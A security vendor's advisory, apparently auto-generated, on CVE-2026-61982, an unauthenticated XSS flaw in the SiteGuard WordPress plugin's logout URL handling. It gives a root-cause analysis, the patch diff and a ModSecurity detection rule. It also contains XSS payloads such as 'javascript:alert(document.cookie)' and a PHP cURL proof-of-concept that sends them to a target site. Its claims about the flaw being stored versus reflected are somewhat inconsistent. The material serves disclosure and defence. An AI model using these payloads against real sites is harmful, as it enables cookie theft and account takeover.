Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-61982: SiteGuard WP Plugin <= 1.8.6 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin siteguard
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.8.6
Patched Version 1.8.7
Disclosed August 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61982: The SiteGuard WP Plugin for WordPress, versions up to and including 1.8.6, contains an unauthenticated stored cross-site scripting vulnerability. Atomic Edge research confirms the flaw resides in the plugin’s login renaming component, specifically within the logout URL generation logic in siteguard/classes/siteguard-rename-login.php. The CVSS score is 7.2 (High).

Root Cause: The vulnerability exists in the function that rebuilds the logout URL, located around line 660 of siteguard/classes/siteguard-rename-login.php. The vulnerable code parses the incoming $logout_url with wp_parse_url() and parse_str() to extract query parameters, then sets $q[‘action’] = ‘logout’ and optionally $q[‘redirect_to’] = $redirect, finally returning add_query_arg( $q, $base ). The $logout_url is expected to have been produced by wp_nonce_url(), which HTML-encodes ampersands as &. Because parse_str() splits on &, keys become mangled (e.g., “amp;redirect_to”) and the value is URL-decoded to its raw form. When add_query_arg() re-emits the parameter, the raw attacker-controlled value is inserted into an href without esc_url() in wp_nonce_ays( ‘log-out’ ), enabling script injection. The $redirect parameter is not sanitized or escaped before being placed into the URL.

Exploitation: An unauthenticated attacker can craft a malicious link that includes a redirect_to parameter containing a JavaScript payload, such as `javascript:alert(document.cookie)` or a script tag like `alert(1)`. By tricking a victim (including an administrator) into clicking the link or visiting a page where the link is rendered, the injected script executes in the victim’s browser. The attack vector is reflected/stored via the logout URL, and the payload is stored in the generated page that contains the logout link. No authentication is required to inject the payload; the victim must interact with the crafted link.

Patch Analysis: The patch (version 1.8.7) replaces the parse_str() based logic with a fresh construction using wp_logout_url() semantics. It builds an $args array with ‘action’ => ‘logout’ and, if $redirect is set, ‘redirect_to’ => urlencode( $redirect ). It then calls wp_nonce_url( add_query_arg( $args, $base ), ‘log-out’ ) to generate the final URL. This ensures proper encoding: urlencode() prevents the redirect_to value from breaking out, and wp_nonce_url() re-encodes ampersands. The comment in the diff explicitly notes that the old code re-emitted raw values, leading to XSS. The fix eliminates the parse_str/add_query_arg mismatch and applies the same encoding contract as WordPress core.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of cookies or authentication tokens, redirection to malicious sites, or defacement. Since the payload can be stored in a page that an administrator visits, the attacker could potentially perform privileged actions on behalf of the admin, leading to full site compromise. The unauthenticated nature of the injection increases the attack surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/siteguard/classes/siteguard-rename-login.php
+++ b/siteguard/classes/siteguard-rename-login.php
@@ -660,16 +660,25 @@
 		}
 		$base = $this->get_login_url();

-		$parts = wp_parse_url( $logout_url );
-		$q     = array();
-		if ( isset( $parts['query'] ) ) {
-			parse_str( $parts['query'], $q );
-		}
-		$q['action'] = 'logout';
+		// Rebuild the logout URL from scratch to mirror WordPress core's
+		// wp_logout_url(): urlencode redirect_to, then wrap with wp_nonce_url().
+		//
+		// We deliberately do NOT parse_str( $logout_url ) and re-emit its query:
+		// the incoming $logout_url has already been passed through wp_nonce_url(),
+		// which esc_html()-encodes it (so separators are "&"). parse_str() then
+		// splits on "&", mangling keys into "amp;redirect_to"/"amp;_wpnonce" and
+		// url-decoding the value back to its raw form. add_query_arg() re-emits that
+		// raw value, so an attacker-controlled redirect_to would break out of the
+		// href printed (without esc_url) by wp_nonce_ays( 'log-out' ) -> XSS.
+		//
+		// wp_logout_url() applies the same urlencode() contract that consumers rely
+		// on, and wp_nonce_url() re-adds the logout nonce, so building fresh keeps
+		// the URL correctly (and singly) encoded.
+		$args = array( 'action' => 'logout' );
 		if ( ! empty( $redirect ) ) {
-			$q['redirect_to'] = $redirect;
+			$args['redirect_to'] = urlencode( $redirect );
 		}
-		return add_query_arg( $q, $base );
+		return wp_nonce_url( add_query_arg( $args, $base ), 'log-out' );
 	}

 	public function rewrite_adminbar_logout( $wp_admin_bar ) {
--- a/siteguard/siteguard.php
+++ b/siteguard/siteguard.php
@@ -7,7 +7,7 @@
 Author URI: https://www.eg-secure.co.jp/
 Text Domain: siteguard
 Domain Path: /languages/
-Version: 1.8.6
+Version: 1.8.7
 */

 /*

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-61982
# This rule blocks exploitation attempts targeting the SiteGuard WP Plugin logout URL XSS.
# The attack vector is the redirect_to parameter containing JavaScript payloads.
# We match requests to wp-login.php with action=logout and a redirect_to parameter
# that contains suspicious characters like 'javascript:' or '<script'.

SecRule REQUEST_URI "@streq /wp-login.php" 
    "id:20261982,phase:2,deny,status:403,chain,msg:'CVE-2026-61982 via SiteGuard logout redirect_to XSS',severity:'CRITICAL',tag:'CVE-2026-61982'"
    SecRule ARGS_GET:action "@streq logout" "chain"
    SecRule ARGS_GET:redirect_to "@rx (?:javascript:|<script|%3Cscript|%3A)" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-61982 - SiteGuard WP Plugin <= 1.8.6 - Unauthenticated Stored Cross-Site Scripting

// Configurable target URL (WordPress site with vulnerable plugin)
$target_url = 'http://example.com';

// Malicious payload to inject via redirect_to parameter
// This payload will be stored and executed when the logout link is rendered
$payload = 'javascript:alert(document.cookie)';

// Build the crafted URL that contains the malicious redirect_to
// The vulnerable endpoint is the logout URL, which is typically /wp-login.php?action=logout
// We need to include a valid nonce, but since the vulnerability is in how the plugin processes the URL,
// we can simulate a request that would trigger the flawed rebuild. However, direct exploitation requires
// the victim to click a link that includes the payload. For demonstration, we will send a request to
// the login page with the payload in the redirect_to parameter, then check if the payload is reflected.

// Note: The actual exploit requires the victim to interact with a generated logout link.
// This PoC demonstrates the injection point by crafting a URL that would be used in an attack.

// Construct the malicious logout URL
$malicious_url = $target_url . '/wp-login.php?action=logout&redirect_to=' . urlencode($payload);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the payload appears in the response (indicating stored XSS)
if (strpos($response, $payload) !== false) {
    echo "[+] Vulnerability confirmed: Payload found in response.n";
    echo "[+] The malicious script will execute when a user views the page containing the logout link.n";
} else {
    echo "[-] Payload not reflected in the response. The site may be patched or the endpoint differs.n";
}

// Additionally, an attacker would typically send the crafted link to a victim.
// Example of the link that would be sent:
echo "[i] Crafted exploit link: " . $malicious_url . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.